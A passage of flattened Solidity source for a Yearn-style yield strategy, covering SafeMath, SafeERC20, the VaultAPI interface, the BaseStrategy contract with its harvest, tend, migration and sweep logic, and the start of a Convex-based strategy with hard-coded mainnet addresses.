* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: yearn/[email protected]/HealthCheck
interface HealthCheck {
function check(
uint256 profit,
uint256 loss,
uint256 debtPayment,
uint256 debtOutstanding,
uint256 totalDebt
) external view returns (bool);
}
// Part: IUniswapV2Router02
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// Part: OpenZeppelin/[email protected]/SafeERC20
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: yearn/[email protected]/VaultAPI
interface VaultAPI is IERC20 {
function name() external view returns (string calldata);
function symbol() external view returns (string calldata);
function decimals() external view returns (uint256);
function apiVersion() external pure returns (string memory);
function permit(
address owner,
address spender,
uint256 amount,
uint256 expiry,
bytes calldata signature
) external returns (bool);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function deposit() external returns (uint256);
function deposit(uint256 amount) external returns (uint256);
function deposit(uint256 amount, address recipient) external returns (uint256);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function withdraw() external returns (uint256);
function withdraw(uint256 maxShares) external returns (uint256);
function withdraw(uint256 maxShares, address recipient) external returns (uint256);
function token() external view returns (address);
function strategies(address _strategy) external view returns (StrategyParams memory);
function pricePerShare() external view returns (uint256);
function totalAssets() external view returns (uint256);
function depositLimit() external view returns (uint256);
function maxAvailableShares() external view returns (uint256);
/**
* View how much the Vault would increase this Strategy's borrow limit,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function creditAvailable() external view returns (uint256);
/**
* View how much the Vault would like to pull back from the Strategy,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function debtOutstanding() external view returns (uint256);
/**
* View how much the Vault expect this Strategy to return at the current
* block, based on its present performance (since its last report). Can be
* used to determine expectedReturn in your Strategy.
*/
function expectedReturn() external view returns (uint256);
/**
* This is the main contact point where the Strategy interacts with the
* Vault. It is critical that this call is handled as intended by the
* Strategy. Therefore, this function will be called by BaseStrategy to
* make sure the integration is correct.
*/
function report(
uint256 _gain,
uint256 _loss,
uint256 _debtPayment
) external returns (uint256);
/**
* This function should only be used in the scenario where the Strategy is
* being retired but no migration of the positions are possible, or in the
* extreme scenario that the Strategy needs to be put into "Emergency Exit"
* mode in order for it to exit as quickly as possible. The latter scenario
* could be for any reason that is considered "critical" that the Strategy
* exits its position as fast as possible, such as a sudden change in
* market conditions leading to losses, or an imminent failure in an
* external dependency.
*/
function revokeStrategy() external;
/**
* View the governance address of the Vault to assert privileged functions
* can only be called by governance. The Strategy serves the Vault, so it
* is subject to governance defined by the Vault.
*/
function governance() external view returns (address);
/**
* View the management address of the Vault to assert privileged functions
* can only be called by management. The Strategy serves the Vault, so it
* is subject to management defined by the Vault.
*/
function management() external view returns (address);
/**
* View the guardian address of the Vault to assert privileged functions
* can only be called by guardian. The Strategy serves the Vault, so it
* is subject to guardian defined by the Vault.
*/
function guardian() external view returns (address);
}
// Part: yearn/[email protected]/BaseStrategy
/**
* @title Yearn Base Strategy
* @author yearn.finance
* @notice
* BaseStrategy implements all of the required functionality to interoperate
* closely with the Vault contract. This contract should be inherited and the
* abstract methods implemented to adapt the Strategy to the particular needs
* it has to create a return.
*
* Of special interest is the relationship between `harvest()` and
* `vault.report()'. `harvest()` may be called simply because enough time has
* elapsed since the last report, and not because any funds need to be moved
* or positions adjusted. This is critical so that the Vault may maintain an
* accurate picture of the Strategy's performance. See `vault.report()`,
* `harvest()`, and `harvestTrigger()` for further details.
*/
abstract contract BaseStrategy {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string public metadataURI;
// health checks
bool public doHealthCheck;
address public healthCheck;
/**
* @notice
* Used to track which version of `StrategyAPI` this Strategy
* implements.
* @dev The Strategy's version must match the Vault's `API_VERSION`.
* @return A string which holds the current API version of this contract.
*/
function apiVersion() public pure returns (string memory) {
return "0.4.3";
}
/**
* @notice This Strategy's name.
* @dev
* You can use this field to manage the "version" of this Strategy, e.g.
* `StrategySomethingOrOtherV1`. However, "API Version" is managed by
* `apiVersion()` function above.
* @return This Strategy's name.
*/
function name() external view virtual returns (string memory);
/**
* @notice
* The amount (priced in want) of the total assets managed by this strategy should not count
* towards Yearn's TVL calculations.
* @dev
* You can override this field to set it to a non-zero value if some of the assets of this
* Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault.
* Note that this value must be strictly less than or equal to the amount provided by
* `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets.
* Also note that this value is used to determine the total assets under management by this
* strategy, for the purposes of computing the management fee in `Vault`
* @return
* The amount of assets this strategy manages that should not be included in Yearn's Total Value
* Locked (TVL) calculation across it's ecosystem.
*/
function delegatedAssets() external view virtual returns (uint256) {
return 0;
}
VaultAPI public vault;
address public strategist;
address public rewards;
address public keeper;
IERC20 public want;
// So indexers can keep track of this
event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding);
event UpdatedStrategist(address newStrategist);
event UpdatedKeeper(address newKeeper);
event UpdatedRewards(address rewards);
event UpdatedMinReportDelay(uint256 delay);
event UpdatedMaxReportDelay(uint256 delay);
event UpdatedProfitFactor(uint256 profitFactor);
event UpdatedDebtThreshold(uint256 debtThreshold);
event EmergencyExitEnabled();
event UpdatedMetadataURI(string metadataURI);
// The minimum number of seconds between harvest calls. See
// `setMinReportDelay()` for more details.
uint256 public minReportDelay;
// The maximum number of seconds between harvest calls. See
// `setMaxReportDelay()` for more details.
uint256 public maxReportDelay;
// The minimum multiple that `callCost` must be above the credit/profit to
// be "justifiable". See `setProfitFactor()` for more details.
uint256 public profitFactor;
// Use this to adjust the threshold at which running a debt causes a
// harvest trigger. See `setDebtThreshold()` for more details.
uint256 public debtThreshold;
// See note on `setEmergencyExit()`.
bool public emergencyExit;
// modifiers
modifier onlyAuthorized() {
require(msg.sender == strategist || msg.sender == governance(), "!authorized");
_;
}
modifier onlyEmergencyAuthorized() {
require(
msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(),
"!authorized"
);
_;
}
modifier onlyStrategist() {
require(msg.sender == strategist, "!strategist");
_;
}
modifier onlyGovernance() {
require(msg.sender == governance(), "!authorized");
_;
}
modifier onlyKeepers() {
require(
msg.sender == keeper ||
msg.sender == strategist ||
msg.sender == governance() ||
msg.sender == vault.guardian() ||
msg.sender == vault.management(),
"!authorized"
);
_;
}
modifier onlyVaultManagers() {
require(msg.sender == vault.management() || msg.sender == governance(), "!authorized");
_;
}
constructor(address _vault) public {
_initialize(_vault, msg.sender, msg.sender, msg.sender);
}
/**
* @notice
* Initializes the Strategy, this is called only once, when the
* contract is deployed.
* @dev `_vault` should implement `VaultAPI`.
* @param _vault The address of the Vault responsible for this Strategy.
* @param _strategist The address to assign as `strategist`.
* The strategist is able to change the reward address
* @param _rewards The address to use for pulling rewards.
* @param _keeper The adddress of the _keeper. _keeper
* can harvest and tend a strategy.
*/
function _initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper
) internal {
require(address(want) == address(0), "Strategy already initialized");
vault = VaultAPI(_vault);
want = IERC20(vault.token());
want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas)
strategist = _strategist;
rewards = _rewards;
keeper = _keeper;
// initialize variables
minReportDelay = 0;
maxReportDelay = 86400;
profitFactor = 100;
debtThreshold = 0;
vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled
}
function setHealthCheck(address _healthCheck) external onlyVaultManagers {
healthCheck = _healthCheck;
}
function setDoHealthCheck(bool _doHealthCheck) external onlyVaultManagers {
doHealthCheck = _doHealthCheck;
}
/**
* @notice
* Used to change `strategist`.
*
* This may only be called by governance or the existing strategist.
* @param _strategist The new address to assign as `strategist`.
*/
function setStrategist(address _strategist) external onlyAuthorized {
require(_strategist != address(0));
strategist = _strategist;
emit UpdatedStrategist(_strategist);
}
/**
* @notice
* Used to change `keeper`.
*
* `keeper` is the only address that may call `tend()` or `harvest()`,
* other than `governance()` or `strategist`. However, unlike
* `governance()` or `strategist`, `keeper` may *only* call `tend()`
* and `harvest()`, and no other authorized functions, following the
* principle of least privilege.
*
* This may only be called by governance or the strategist.
* @param _keeper The new address to assign as `keeper`.
*/
function setKeeper(address _keeper) external onlyAuthorized {
require(_keeper != address(0));
keeper = _keeper;
emit UpdatedKeeper(_keeper);
}
/**
* @notice
* Used to change `rewards`. EOA or smart contract which has the permission
* to pull rewards from the vault.
*
* This may only be called by the strategist.
* @param _rewards The address to use for pulling rewards.
*/
function setRewards(address _rewards) external onlyStrategist {
require(_rewards != address(0));
vault.approve(rewards, 0);
rewards = _rewards;
vault.approve(rewards, uint256(-1));
emit UpdatedRewards(_rewards);
}
/**
* @notice
* Used to change `minReportDelay`. `minReportDelay` is the minimum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the minimum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The minimum number of seconds to wait between harvests.
*/
function setMinReportDelay(uint256 _delay) external onlyAuthorized {
minReportDelay = _delay;
emit UpdatedMinReportDelay(_delay);
}
/**
* @notice
* Used to change `maxReportDelay`. `maxReportDelay` is the maximum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the maximum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The maximum number of seconds to wait between harvests.
*/
function setMaxReportDelay(uint256 _delay) external onlyAuthorized {
maxReportDelay = _delay;
emit UpdatedMaxReportDelay(_delay);
}
/**
* @notice
* Used to change `profitFactor`. `profitFactor` is used to determine
* if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _profitFactor A ratio to multiply anticipated
* `harvest()` gas cost against.
*/
function setProfitFactor(uint256 _profitFactor) external onlyAuthorized {
profitFactor = _profitFactor;
emit UpdatedProfitFactor(_profitFactor);
}
/**
* @notice
* Sets how far the Strategy can go into loss without a harvest and report
* being required.
*
* By default this is 0, meaning any losses would cause a harvest which
* will subsequently report the loss to the Vault for tracking. (See
* `harvestTrigger()` for more details.)
*
* This may only be called by governance or the strategist.
* @param _debtThreshold How big of a loss this Strategy may carry without
* being required to report to the Vault.
*/
function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized {
debtThreshold = _debtThreshold;
emit UpdatedDebtThreshold(_debtThreshold);
}
/**
* @notice
* Used to change `metadataURI`. `metadataURI` is used to store the URI
* of the file describing the strategy.
*
* This may only be called by governance or the strategist.
* @param _metadataURI The URI that describe the strategy.
*/
function setMetadataURI(string calldata _metadataURI) external onlyAuthorized {
metadataURI = _metadataURI;
emit UpdatedMetadataURI(_metadataURI);
}
/**
* Resolve governance address from Vault contract, used to make assertions
* on protected functions in the Strategy.
*/
function governance() internal view returns (address) {
return vault.governance();
}
/**
* @notice
* Provide an accurate conversion from `_amtInWei` (denominated in wei)
* to `want` (using the native decimal characteristics of `want`).
* @dev
* Care must be taken when working with decimals to assure that the conversion
* is compatible. As an example:
*
* given 1e17 wei (0.1 ETH) as input, and want is USDC (6 decimals),
* with USDC/ETH = 1800, this should give back 1800000000 (180 USDC)
*
* @param _amtInWei The amount (in wei/1e-18 ETH) to convert to `want`
* @return The amount in `want` of `_amtInEth` converted to `want`
**/
function ethToWant(uint256 _amtInWei) public view virtual returns (uint256);
/**
* @notice
* Provide an accurate estimate for the total amount of assets
* (principle + return) that this Strategy is currently managing,
* denominated in terms of `want` tokens.
*
* This total should be "realizable" e.g. the total value that could
* *actually* be obtained from this Strategy if it were to divest its
* entire position based on current on-chain conditions.
* @dev
* Care must be taken in using this function, since it relies on external
* systems, which could be manipulated by the attacker to give an inflated
* (or reduced) value produced by this function, based on current on-chain
* conditions (e.g. this function is possible to influence through
* flashloan attacks, oracle manipulations, or other DeFi attack
* mechanisms).
*
* It is up to governance to use this function to correctly order this
* Strategy relative to its peers in the withdrawal queue to minimize
* losses for the Vault based on sudden withdrawals. This value should be
* higher than the total debt of the Strategy and higher than its expected
* value to be "safe".
* @return The estimated total assets in this Strategy.
*/
function estimatedTotalAssets() public view virtual returns (uint256);
/*
* @notice
* Provide an indication of whether this strategy is currently "active"
* in that it is managing an active position, or will manage a position in
* the future. This should correlate to `harvest()` activity, so that Harvest
* events can be tracked externally by indexing agents.
* @return True if the strategy is actively managing a position.
*/
function isActive() public view returns (bool) {
return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0;
}
/**
* Perform any Strategy unwinding or other calls necessary to capture the
* "free return" this Strategy has generated since the last time its core
* position(s) were adjusted. Examples include unwrapping extra rewards.
* This call is only used during "normal operation" of a Strategy, and
* should be optimized to minimize losses as much as possible.
*
* This method returns any realized profits and/or realized losses
* incurred, and should return the total amounts of profits/losses/debt
* payments (in `want` tokens) for the Vault's accounting (e.g.
* `want.balanceOf(this) >= _debtPayment + _profit`).
*
* `_debtOutstanding` will be 0 if the Strategy is not past the configured
* debt limit, otherwise its value will be how far past the debt limit
* the Strategy is. The Strategy's debt limit is configured in the Vault.
*
* NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`.
* It is okay for it to be less than `_debtOutstanding`, as that
* should only used as a guide for how much is left to pay back.
* Payments should be made to minimize loss from slippage, debt,
* withdrawal fees, etc.
*
* See `vault.debtOutstanding()`.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
virtual
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
);
/**
* Perform any adjustments to the core position(s) of this Strategy given
* what change the Vault made in the "investable capital" available to the
* Strategy. Note that all "free capital" in the Strategy after the report
* was made is available for reinvestment. Also note that this number
* could be 0, and you should handle that scenario accordingly.
*
* See comments regarding `_debtOutstanding` on `prepareReturn()`.
*/
function adjustPosition(uint256 _debtOutstanding) internal virtual;
/**
* Liquidate up to `_amountNeeded` of `want` of this strategy's positions,
* irregardless of slippage. Any excess will be re-invested with `adjustPosition()`.
* This function should return the amount of `want` tokens made available by the
* liquidation. If there is a difference between them, `_loss` indicates whether the
* difference is due to a realized loss, or if there is some other sitution at play
* (e.g. locked funds) where the amount made available is less than what is needed.
*
* NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained
*/
function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss);
/**
* Liquidate everything and returns the amount that got freed.
* This function is used during emergency exit instead of `prepareReturn()` to
* liquidate all of the Strategy's positions back to the Vault.
*/
function liquidateAllPositions() internal virtual returns (uint256 _amountFreed);
/**
* @notice
* Provide a signal to the keeper that `tend()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `tend()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `tend()` is not called
* shortly, then this can return `true` even if the keeper might be
* "at a loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCostInWei` must be priced in terms of `wei` (1e-18 ETH).
*
* This call and `harvestTrigger()` should never return `true` at the same
* time.
* @param callCostInWei The keeper's estimated gas cost to call `tend()` (in wei).
* @return `true` if `tend()` should be called, `false` otherwise.
*/
function tendTrigger(uint256 callCostInWei) public view virtual returns (bool) {
// We usually don't need tend, but if there are positions that need
// active maintainence, overriding this function is how you would
// signal for that.
// If your implementation uses the cost of the call in want, you can
// use uint256 callCost = ethToWant(callCostInWei);
return false;
}
/**
* @notice
* Adjust the Strategy's position. The purpose of tending isn't to
* realize gains, but to maximize yield by reinvesting any returns.
*
* See comments on `adjustPosition()`.
*
* This may only be called by governance, the strategist, or the keeper.
*/
function tend() external onlyKeepers {
// Don't take profits with this call, but adjust for better gains
adjustPosition(vault.debtOutstanding());
}
/**
* @notice
* Provide a signal to the keeper that `harvest()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `harvest()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `harvest()` is not called
* shortly, then this can return `true` even if the keeper might be "at a
* loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCostInWei` must be priced in terms of `wei` (1e-18 ETH).
*
* This call and `tendTrigger` should never return `true` at the
* same time.
*
* See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the
* strategist-controlled parameters that will influence whether this call
* returns `true` or not. These parameters will be used in conjunction
* with the parameters reported to the Vault (see `params`) to determine
* if calling `harvest()` is merited.
*
* It is expected that an external system will check `harvestTrigger()`.
* This could be a script run off a desktop or cloud bot (e.g.
* https://github.com/iearn-finance/yearn-vaults/blob/main/scripts/keep.py),
* or via an integration with the Keep3r network (e.g.
* https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol).
* @param callCostInWei The keeper's estimated gas cost to call `harvest()` (in wei).
* @return `true` if `harvest()` should be called, `false` otherwise.
*/
function harvestTrigger(uint256 callCostInWei) public view virtual returns (bool) {
uint256 callCost = ethToWant(callCostInWei);
StrategyParams memory params = vault.strategies(address(this));
// Should not trigger if Strategy is not activated
if (params.activation == 0) return false;
// Should not trigger if we haven't waited long enough since previous harvest
if (block.timestamp.sub(params.lastReport) < minReportDelay) return false;
// Should trigger if hasn't been called in a while
if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true;
// If some amount is owed, pay it back
// NOTE: Since debt is based on deposits, it makes sense to guard against large
// changes to the value from triggering a harvest directly through user
// behavior. This should ensure reasonable resistance to manipulation
// from user-initiated withdrawals as the outstanding debt fluctuates.
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
// Check for profits and losses
uint256 total = estimatedTotalAssets();
// Trigger if we have a loss to report
if (total.add(debtThreshold) < params.totalDebt) return true;
uint256 profit = 0;
if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit!
// Otherwise, only trigger if it "makes sense" economically (gas cost
// is <N% of value moved)
uint256 credit = vault.creditAvailable();
return (profitFactor.mul(callCost) < credit.add(profit));
}
/**
* @notice
* Harvests the Strategy, recognizing any profits or losses and adjusting
* the Strategy's position.
*
* In the rare case the Strategy is in emergency shutdown, this will exit
* the Strategy's position.
*
* This may only be called by governance, the strategist, or the keeper.
* @dev
* When `harvest()` is called, the Strategy reports to the Vault (via
* `vault.report()`), so in some cases `harvest()` must be called in order
* to take in profits, to borrow newly available funds from the Vault, or
* otherwise adjust its position. In other cases `harvest()` must be
* called to report to the Vault on the Strategy's position, especially if
* any losses have occurred.
*/
function harvest() external onlyKeepers {
uint256 profit = 0;
uint256 loss = 0;
uint256 debtOutstanding = vault.debtOutstanding();
uint256 debtPayment = 0;
if (emergencyExit) {
// Free up as much capital as possible
uint256 amountFreed = liquidateAllPositions();
if (amountFreed < debtOutstanding) {
loss = debtOutstanding.sub(amountFreed);
} else if (amountFreed > debtOutstanding) {
profit = amountFreed.sub(debtOutstanding);
}
debtPayment = debtOutstanding.sub(loss);
} else {
// Free up returns for Vault to pull
(profit, loss, debtPayment) = prepareReturn(debtOutstanding);
}
// Allow Vault to take up to the "harvested" balance of this contract,
// which is the amount it has earned since the last time it reported to
// the Vault.
uint256 totalDebt = vault.strategies(address(this)).totalDebt;
debtOutstanding = vault.report(profit, loss, debtPayment);
// Check if free returns are left, and re-invest them
adjustPosition(debtOutstanding);
// call healthCheck contract
if (doHealthCheck && healthCheck != address(0)) {
require(HealthCheck(healthCheck).check(profit, loss, debtPayment, debtOutstanding, totalDebt), "!healthcheck");
} else {
doHealthCheck = true;
}
emit Harvested(profit, loss, debtPayment, debtOutstanding);
}
/**
* @notice
* Withdraws `_amountNeeded` to `vault`.
*
* This may only be called by the Vault.
* @param _amountNeeded How much `want` to withdraw.
* @return _loss Any realized losses
*/
function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) {
require(msg.sender == address(vault), "!vault");
// Liquidate as much as possible to `want`, up to `_amountNeeded`
uint256 amountFreed;
(amountFreed, _loss) = liquidatePosition(_amountNeeded);
// Send it directly back (NOTE: Using `msg.sender` saves some gas here)
want.safeTransfer(msg.sender, amountFreed);
// NOTE: Reinvest anything leftover on next `tend`/`harvest`
}
/**
* Do anything necessary to prepare this Strategy for migration, such as
* transferring any reserve or LP tokens, CDPs, or other tokens or stores of
* value.
*/
function prepareMigration(address _newStrategy) internal virtual;
/**
* @notice
* Transfers all `want` from this Strategy to `_newStrategy`.
*
* This may only be called by the Vault.
* @dev
* The new Strategy's Vault must be the same as this Strategy's Vault.
* The migration process should be carefully performed to make sure all
* the assets are migrated to the new address, which should have never
* interacted with the vault before.
* @param _newStrategy The Strategy to migrate to.
*/
function migrate(address _newStrategy) external {
require(msg.sender == address(vault));
require(BaseStrategy(_newStrategy).vault() == vault);
prepareMigration(_newStrategy);
want.safeTransfer(_newStrategy, want.balanceOf(address(this)));
}
/**
* @notice
* Activates emergency exit. Once activated, the Strategy will exit its
* position upon the next harvest, depositing all funds into the Vault as
* quickly as is reasonable given on-chain conditions.
*
* This may only be called by governance or the strategist.
* @dev
* See `vault.setEmergencyShutdown()` and `harvest()` for further details.
*/
function setEmergencyExit() external onlyEmergencyAuthorized {
emergencyExit = true;
vault.revokeStrategy();
emit EmergencyExitEnabled();
}
/**
* Override this to add all tokens/tokenized positions this contract
* manages on a *persistent* basis (e.g. not just for swapping back to
* want ephemerally).
*
* NOTE: Do *not* include `want`, already included in `sweep` below.
*
* Example:
* ```
* function protectedTokens() internal override view returns (address[] memory) {
* address[] memory protected = new address[](3);
* protected[0] = tokenA;
* protected[1] = tokenB;
* protected[2] = tokenC;
* return protected;
* }
* ```
*/
function protectedTokens() internal view virtual returns (address[] memory);
/**
* @notice
* Removes tokens from this Strategy that are not the type of tokens
* managed by this Strategy. This may be used in case of accidentally
* sending the wrong kind of token to this Strategy.
*
* Tokens will be sent to `governance()`.
*
* This will fail if an attempt is made to sweep `want`, or any tokens
* that are protected by this Strategy.
*
* This may only be called by governance.
* @dev
* Implement `protectedTokens()` to specify any additional tokens that
* should be protected from sweeping in addition to `want`.
* @param _token The token to transfer out of this vault.
*/
function sweep(address _token) external onlyGovernance {
require(_token != address(want), "!want");
require(_token != address(vault), "!shares");
address[] memory _protectedTokens = protectedTokens();
for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected");
IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this)));
}
}
// Part: StrategyConvexBase
abstract contract StrategyConvexBase is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
/* ========== STATE VARIABLES ========== */
// these should stay the same across different wants.
// convex stuff
address public constant depositContract =
0xF403C135812408BFbE8713b5A23a04b3D48AAE31; // this is the deposit contract that all pools use, aka booster
address public rewardsContract; // This is unique to each curve pool
uint256 public pid; // this is unique to each pool
// keepCRV stuff
uint256 public keepCRV; // the percentage of CRV we re-lock for boost (in basis points)
address public constant voter = 0xF147b8125d2ef93FB6965Db97D6746952a133934; // Yearn's veCRV voter, we send some extra CRV here
uint256 public constant FEE_DENOMINATOR = 10000; // this means all of our fee values are in bips
// Swap stuff
address public constant sushiswap =
0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F; // default to sushiswap, more CRV and CVX liquidity there
address[] public convexTokenPath; // path to sell CVX
IERC20 public constant crv =
IERC20(0xD533a949740bb3306d119CC777fa900bA034cd52);
IERC20 public constant convexToken =
IERC20(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B);
IERC20 public constant weth =
IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
// keeper stuff
uint256 public harvestProfitNeeded; // we use this to set our dollar target (in USDT) for harvest sells
bool internal forceHarvestTriggerOnce; // only set this to true when we want to trigger our keepers to harvest for us
string internal stratName; // we use this to be able to adjust our strategy's name
// convex-specific variables
bool public claimRewards; // boolean if we should always claim rewards when withdrawing, usually withdrawAndUnwrap (generally this should be false)
/* ========== CONSTRUCTOR ========== */
constructor(address _vault) public BaseStrategy(_vault) {}
/* ========== VIEWS ========== */
function name() external view override returns (string memory) {
return stratName;
}
function stakedBalance() public view returns (uint256) {
// how much want we have staked in Convex
return IConvexRewards(rewardsContract).balanceOf(address(this));
}
function balanceOfWant() public view returns (uint256) {
// balance of want sitting in our strategy
return want.balanceOf(address(this));
}
function claimableBalance() public view returns (uint256) {
// how much CRV we can claim from the staking contract
return IConvexRewards(rewardsContract).earned(address(this));
}
function estimatedTotalAssets() public view override returns (uint256) {
return balanceOfWant().add(stakedBalance());
}
/* ========== CONSTANT FUNCTIONS ========== */
// these should stay the same across different wants.
function adjustPosition(uint256 _debtOutstanding) internal override {
if (emergencyExit) {
return;
}
// Send all of our Curve pool tokens to be deposited
uint256 _toInvest = balanceOfWant();
